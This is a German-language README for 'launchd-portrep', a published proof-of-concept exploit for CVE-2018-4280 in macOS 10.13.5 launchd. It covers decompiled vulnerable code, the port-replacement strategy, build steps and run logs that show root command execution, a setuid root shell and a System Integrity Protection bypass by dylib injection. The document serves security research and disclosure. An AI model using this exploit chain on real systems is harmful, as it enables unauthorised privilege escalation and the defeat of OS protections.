
CVE-2018-4280: Mach-Port-Ersetzungsschwachstelle in launchd auf macOS 10.13.5, die zu lokaler Privilegienausweitung und SIP-Umgehung führt.
launchd-portrep ist ein Exploit für eine Port-Ersetzungs-Schwachstelle in launchd, dem ersten Userspace-Prozess und Dienstverwaltungs-Daemon unter macOS. Durch das Senden einer manipulierten Mach-Nachricht an den Bootstrap-Port kann launchd dazu gebracht werden, sein Senderecht für jeden Mach-Port freizugeben, zu dem der Angreifer ebenfalls ein Senderecht besitzt. Dies ermöglicht es dem Angreifer, jeden launchd-Dienst, den er nachschlagen kann, gegenüber dem Rest des Systems zu impersonieren.
Launchd multiplexiert mehrere unterschiedliche Mach-Nachrichten-Handler über seinen Hauptport, darunter einen MIG-Handler für Exception-Nachrichten. Wenn ein Prozess eine mach_exception_raise- oder mach_exception_raise_state_identity-Nachricht an seinen eigenen Bootstrap-Port sendet, empfängt und verarbeitet launchd diese Nachricht als Host-Level-Exception.
Leider ist die Behandlung dieser Nachrichten in launchd fehlerhaft. Wenn der Exception-Typ EXC_CRASH ist, gibt launchd die in der Nachricht gesendeten Thread- und Task-Ports frei und gibt dann KERN_FAILURE aus der Service-Routine zurück, wodurch das MIG-System die Thread- und Task-Ports erneut freigibt. (Die Annahme ist: Wenn eine Service-Routine Erfolg zurückgibt, hat sie das Eigentum an allen Ressourcen in der Mach-Nachricht übernommen; gibt die Service-Routine einen Fehler zurück, hat sie keinerlei Eigentum an den Ressourcen übernommen.)
Hier ist der Code aus launchds Service-Routine für mach_exception_raise-Nachrichten, dekompiliert mit IDA/Hex-Rays und leicht bearbeitet für die Lesbarkeit:
kern_return_t __fastcall
catch_mach_exception_raise( // (a) Die Service-Routine wird
mach_port_t exception_port, // mit Werten direkt aus der
mach_port_t thread, // vom Client gesendeten
mach_port_t task, // Mach-Nachricht aufgerufen.
unsigned int exception, // Die Thread- und Task-Ports
mach_exception_data_t code, // könnten beliebige Senderechte
unsigned int codeCnt) // sein.
{
kern_return_t kr; // eax@1 MAPDST
kern_return_t result; // eax@10
int pid; // [rsp+14h] [rbp-43Ch]@1
char codes_str[1024]; // [rsp+20h] [rbp-430h]@5
__int64 __stack_guard; // [rsp+420h] [rbp-30h]@1
__stack_guard = *__stack_chk_guard_ptr;
pid = -1;
kr = pid_for_task(task, &pid);
if ( kr )
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
if ( codeCnt )
{
do
{
__snprintf_chk(codes_str, 0x400uLL, 0, 0x400uLL, "0x%llx", *code);
++code;
--codeCnt;
}
while ( codeCnt );
}
launchd_log_2(
0LL,
3LL,
"Host-level exception raised: pid = %d, thread = 0x%x, "
"exception type = 0x%x, codes = { %s }",
pid,
thread,
exception,
codes_str);
kr = deallocate_mach_port(thread); // (b) Der "thread"-Port, der in der
if ( kr ) // Nachricht gesendet wurde, wird
{ // freigegeben.
_os_assumes_log(kr);
_os_avoid_tail_call();
}
kr = deallocate_mach_port(task); // (c) Der "task"-Port, der in der
if ( kr ) // Nachricht gesendet wurde, wird
{ // freigegeben.
_os_assumes_log(kr);
_os_avoid_tail_call();
}
result = 0;
if ( *__stack_chk_guard_ptr == __stack_guard )
{
LOBYTE(result) = exception == 10; // (d) Wenn der Exception-Typ 10
result *= 5; // (EXC_CRASH) ist, wird ein
} // Fehler KERN_FAILURE
return result; // zurückgegeben. MIG wird die
} // Ports erneut freigeben.
Diese doppelte Freigabe der Portnamen ist problematisch, da ein Prozess beliebige Ports als Task- und Thread-Ports in der Exception-Nachricht setzen kann. Launchd überprüft nicht, ob die empfangenen Senderechte tatsächlich einem Thread und einem Task entsprechen; die Ports könnten beispielsweise Senderechte auf Ports sein, die sich bereits im IPC-Raum von launchd befinden. Dann würde die doppelte Freigabe tatsächlich dazu führen, dass launchd einen Benutzerverweis auf einen seiner eigenen Ports fallen lässt.
Dieser Fehler kann ausgenutzt werden, um launchds Senderecht auf jeden Mach-Port freizugeben, zu dem der angreifende Prozess ebenfalls ein Senderecht besitzt. Insbesondere, wenn der angreifende Prozess einen Systemdienst über launchd nachschlagen kann, kann er launchds Senderecht auf diesen Dienst freigeben und dann den Dienst gegenüber dem Rest des Systems impersonieren. Danach gibt es viele verschiedene Wege, um Systemprivilegien zu erlangen.
Dieser Fehler ist eine weniger allgemeine Version von CVE-2016-7637, einem Problem mit der Handhabung von Mach-Port-Benutzerverweisen in XNU, das von Ian Beer entdeckt wurde und es Prozessen ermöglichte, Mach-Ports in anderen Prozessen freizugeben. Ian Beer nutzte diese Schwachstelle unter macOS aus, indem er launchds Senderecht auf den Endpunkt von com.apple.CoreServices.coreservicesd ersetzte und coreservicesd gegenüber dem Rest des Systems impersonierte. Coreservicesd ist ein attraktives Ziel, da es einer der wenigen Dienste ist, an die Clients ihren Task-Port in einer Mach-Nachricht senden. Indem er launchds Senderecht auf coreservicesd durch seinen eigenen Port ersetzte und dann privilegierte Clients auslöste, coreservicesd nachzuschlagen und mit ihm zu kommunizieren, konnte er den Task-Port für einen privilegierten Prozess erhalten und dann Code in diesem Prozess ausführen.
Da sich das Verhalten unter macOS nicht geändert hat, habe ich im Grunde die Exploit-Strategie von Ian Beer für diese Schwachstelle kopiert. Wir senden Exception-Nachrichten an launchd, die den Service-Port von coreservicesd enthalten, bis wir launchds Senderecht auf diesen Port freigeben. Wir können erkennen, wann wir das Recht freigegeben haben, indem wir erneut bootstrap_look_up() für den Dienst aufrufen: Wenn launchd einen ungültigen Portnamen zurückgibt, haben wir erfolgreich launchds Senderecht auf den Port freigegeben. Dann registrieren und deregistrieren wir wiederholt eine große Anzahl von Diensten bei launchd, bis einer der von uns registrierten Dienste denselben Mach-Portnamen im IPC-Raum von launchd erhält wie der ursprüngliche coreservicesd-Port. An diesem Punkt erhält jeder Prozess, der com.apple.CoreServices.coreservicesd bei launchd nachschlägt, ein Senderecht auf unseren gefälschten Dienst anstelle des echten coreservicesd. Wir führen dann einen MITM-Server auf dem gefälschten Service-Port aus, der alle Mach-Ports in den von Clients empfangenen Nachrichten inspiziert, bevor wir sie an den echten coreservicesd weiterleiten. An diesem Punkt senden wir eine Nachricht an sysdiagnose, die dazu führt, dass es einen tailspin ausführt, wodurch sysdiagnose eine Verbindung zu unserem gefälschten coreservicesd-Port herstellt und uns seinen Task-Port sendet. Da sysdiagnose die Berechtigung task_for_pid-allow besitzt, können wir jetzt den Task-Port für jeden Prozess erhalten.
Um die ordnungsgemäße Funktion des Systems (größtenteils) wiederherzustellen, verwenden wir sysdiagnose, um den Task-Port von launchd zu erhalten, und ersetzen dann mit dem Task-Port von launchd das Senderecht von launchd auf unseren gefälschten Service-Port wieder durch ein Senderecht auf den echten coreservicesd. Auf diese Weise können zukünftige Clients tatsächlich coreservicesd erreichen.
Ein Problem, das ich bei diesem Ansatz bemerkt habe, ist, dass das System beim Herunterfahren für kurze Zeit zu hängen scheint. Ich nehme an, dass dies daran liegt, dass das Manipulieren der Ports von launchd die Buchhaltung oder Port-Benachrichtigungen von launchd durcheinanderbringt. Ich habe dieses Problem nicht weiter untersucht, aber ein Neustart von coreservicesd mit launchctl scheint es zu beheben:
$ sudo launchctl kickstart -k -p system/com.apple.coreservicesd
Sobald wir Codeausführung in einem task_for_pid-allow-Prozess haben, können wir jeden Task auf dem System kontrollieren. Das ist großartig, denn wir können nicht nur die Standard-Privilegienausweitung durchführen, sondern auch SIP umgehen, indem wir Code in SIP-berechtigte Prozesse injizieren.
Dieser Exploit demonstriert zwei mögliche Verwendungen: Systembefehlsausführung als root und Dylib-Injektion. Um einen Systembefehl auszuführen, rufen wir einfach die Standardfunktion system() von sysdiagnose aus auf und übergeben ihr die vom Benutzer bereitgestellte Befehlszeichenfolge. Um eine Dylib in einen Prozess zu injizieren, rufen wir task_for_pid() von sysdiagnose aus auf, um den Task-Port des Ziels zu erhalten, und verwenden dann den Task-Port, um dlopen() auf der bereitgestellten Bibliothek aufzurufen.
Um den eigenständigen Exploit launchd-portrep zu bauen, führen Sie make aus. Siehe den Anfang der Makefile für verschiedene Build-Optionen. Sie müssen zuerst die threadexec-Injektionsbibliothek herunterladen und bauen.
$ git clone https://github.com/bazad/launchd-portrep
$ cd launchd-portrep
$ git clone https://github.com/bazad/threadexec
$ cd threadexec
$ make ARCH=x86_64 SDK=macosx
$ cd ..
$ make
Beachten Sie, dass der Exploit in der vorliegenden Form fehlschlägt, wenn der sysdiagnose-Prozess bereits läuft. Stellen Sie daher für den Zweck dieses Proof-of-Concept sicher, dass Sie sysdiagnose beenden, bevor Sie den Exploit ausführen. (Es ist möglich, den Exploit so umzuarbeiten, dass er auch bei bereits laufendem sysdiagnose funktioniert, aber ich habe mich entschieden, diese Funktionalität nicht einzubauen, um die böswillige Nutzung dieses Tools zu erschweren.)
Führen Sie den Exploit aus, indem Sie den auszuführenden Befehl angeben, als ob er der Funktion system() übergeben würde:
$ ./launchd-portrep 'touch /tmp/exploit-success'
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xd77 (index 196) after 28 tries
[+] Sysdiagnose has PID 499
[+] Found sysdiagnose task port 0x1767b
[+] Command exited with status: 0
$ ls -la /tmp/exploit-success
-rw-r--r-- 1 root wheel 0 Jul 24 23:50 /tmp/exploit-success
Alternativ können Sie, wenn Sie eine PID und einen absoluten Pfad zu einer dynamischen Bibliotheksdatei angeben, mit launchd-portrep die Dylib in den angegebenen Prozess injizieren.
Es gibt auch zwei Beispielskripte, die launchd-portrep kapseln: launchd-portrep-rootsh.sh und launchd-portrep-rootless.sh.
launchd-portrep-rootsh.sh stellt eine traditionelle Root-Shell bereit, indem es einen setuid-root-Shell-Launcher unter /var/suid-sh installiert. (Die setuid-Shell wird automatisch nach 1 Sekunde entfernt.)
$ bash ./launchd-portrep-rootsh.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x153b (index 192) after 60 tries
[+] Sysdiagnose has PID 1231
[+] Found sysdiagnose task port 0x1df7b
[+] Command exited with status: 0
Launching /private/var/suid-sh
bash-3.2#
launchd-portrep-rootless.sh ist noch interessanter: es stellt eine Shell bereit, in der die Rootless-Einschränkungen des Dateisystems deaktiviert wurden. Dies wird erreicht, indem diskmanagementd gestartet wird, das die Berechtigung com.apple.rootless.install.heritable besitzt, und dann eine Dylib in diskmanagementd injiziert wird, die dazu führt, dass es eine Shell mit stdin und stdout spawn, die an Named Pipes gebunden sind. Wie der Name der Berechtigung vermuten lässt, werden die Ausnahmen von SIP, die durch com.apple.rootless.install.heritable gewährt werden, an die Kindprozesse weitergegeben, was bedeutet, dass die Shell und alle darin ausgeführten Befehle im Wesentlichen von den SIP-Dateisystemschutzmechanismen ausgenommen sind.
$ bash ./launchd-portrep-rootless.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xe7b (index 194) after 60 tries
[+] Sysdiagnose has PID 1145
[+] Found sysdiagnose task port 0x1747b
[+] Command exited with status: 0
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x13d7b (index 199) after 61 tries
[+] Sysdiagnose has PID 1162
[+] Found sysdiagnose task port 0xbe47
[+] Got task port 0xa07 for PID 1153
[+] Successfully loaded "/Users/bazad/Developer/GitHub/launchd-portrep/rootless-sh.dylib" in process 1153
bash: no job control in this shell
bash-3.2# csrutil status
System Integrity Protection status: enabled.
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@ 4 root wheel restricted 128 Jul 25 19:08 .
drwxr-xr-x 31 root wheel sunlnk 992 Jul 25 12:20 ..
-rw-r--r-- 1 root wheel restricted 0 Oct 6 2017 .localized
drwxr-xr-x 102 root wheel restricted 3264 Jun 12 11:47 Library
bash-3.2# touch /System/exploit-success
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@ 5 root wheel restricted 160 Jul 25 19:19 .
drwxr-xr-x 31 root wheel sunlnk 992 Jul 25 12:20 ..
-rw-r--r-- 1 root wheel restricted 0 Oct 6 2017 .localized
drwxr-xr-x 102 root wheel restricted 3264 Jun 12 11:47 Library
-rw-r--r-- 1 root wheel restricted 0 Jul 25 19:19 exploit-success
bash-3.2# exit
launchd-portrep wurde unter macOS 10.13.5 17F77 getestet.
Der launchd-portrep-Code wird unter der MIT-Lizenz veröffentlicht.
Brandon Azad